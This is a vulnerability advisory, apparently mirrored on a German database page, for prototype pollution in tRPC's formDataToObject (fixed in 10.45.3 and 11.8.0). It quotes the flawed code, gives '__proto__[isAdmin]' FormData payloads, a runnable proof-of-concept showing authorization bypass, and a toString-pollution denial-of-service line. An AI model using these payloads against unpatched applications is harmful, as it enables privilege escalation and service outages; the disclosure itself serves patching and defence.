tRPC has possible prototype pollution in `experimental_nextAppDirCaller`
Note that this vulnerability is only present when using
experimental_caller/experimental_nextAppDirCaller.
Summary
A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.
Affected Versions
- Package:
@trpc/server - Affected Versions: >=10.27.0
- Vulnerable Component:
formDataToObject()insrc/unstable-core-do-not-import/http/formDataToObject.ts
Vulnerability Details
Root Cause
The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.
Vulnerable Code
// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
if (path.length > 1) {
const newPath = [...path];
const key = newPath.shift(); // ← No validation of dangerous keys
const nextKey = newPath[0];
if (!obj[key]) { // ← Accesses obj["__proto__"] which returns Object.prototype
obj[key] = isNumberString(nextKey) ? [] : {};
}
set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype
return;
}
// ...
}
export function formDataToObject(formData) {
const obj = {};
for (const [key, value] of formData.entries()) {
const parts = key.split(/[\.\[\]]/).filter(Boolean); // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
set(obj, parts, value);
}
return obj;
}
Attack Vector
When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:
// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
input = formDataToObject(input); // ← Vulnerable call
}
An attacker can craft FormData with malicious field names:
const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");
When processed, this pollutes Object.prototype:
{}.isAdmin // → "true"
{}.role // → "superadmin"
Proof of Concept
# Step 1: Create the project directory
mkdir trpc-vuln-poc
cd trpc-vuln-poc
# Step 2: Initialize npm
npm init -y
# Step 3: Install vulnerable tRPC
npm install @trpc/server@11.7.2
# Step 4: Create the test file
Test.js
const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');
console.log("=== PoC Prototype Pollution en tRPC ===\n");
console.log("[1] Estado inicial:");
console.log(" {}.isAdmin =", {}.isAdmin);
const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");
console.log("\n[2] FormData malicioso:");
console.log(' __proto__[isAdmin] = "true"');
console.log(' __proto__[role] = "superadmin"');
console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log(" Resultado:", JSON.stringify(result));
console.log("\n[4] Después del ataque:");
console.log(" {}.isAdmin =", {}.isAdmin);
console.log(" {}.role =", {}.role);
const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log(" Usuario normal:", JSON.stringify(user));
console.log(" user.isAdmin =", user.isAdmin);
if (user.isAdmin) {
console.log("\n VULNERABLE - Authorization bypass exitoso!");
} else {
console.log("\n ✓ Seguro");
}
Impact
Authorization Bypass (HIGH)
Many applications check user permissions using property access:
// Vulnerable pattern
if (user.isAdmin) {
// Grant admin access
}
After pollution, all objects will have isAdmin: "true", bypassing authorization.
Denial of Service (MEDIUM)
Polluting commonly used property names can crash applications:
formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | @trpc/server | >= 10.27.0, < 10.45.3, >= 11.0.0, < 11.8.0 | 10.45.3, 11.8.0 |
Verweise
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L- Schwäche (CWE)
CWE-1321- Plattform
- npm
- Paket
@trpc/server- Veröffentlicht
- 16.12.2025
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-43p4-m455-4f4j - CC BY 4.0
Schwachstellenhistorie: @trpc/server
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 2
- Erste → letzte
- 04.2025 12.2025
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 2
Veröffentlichungen pro Jahr
- 2025: 2
- 2026: 0
-
tRPC has possible prototype pollution in `experimental_nextAppDirCaller` dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.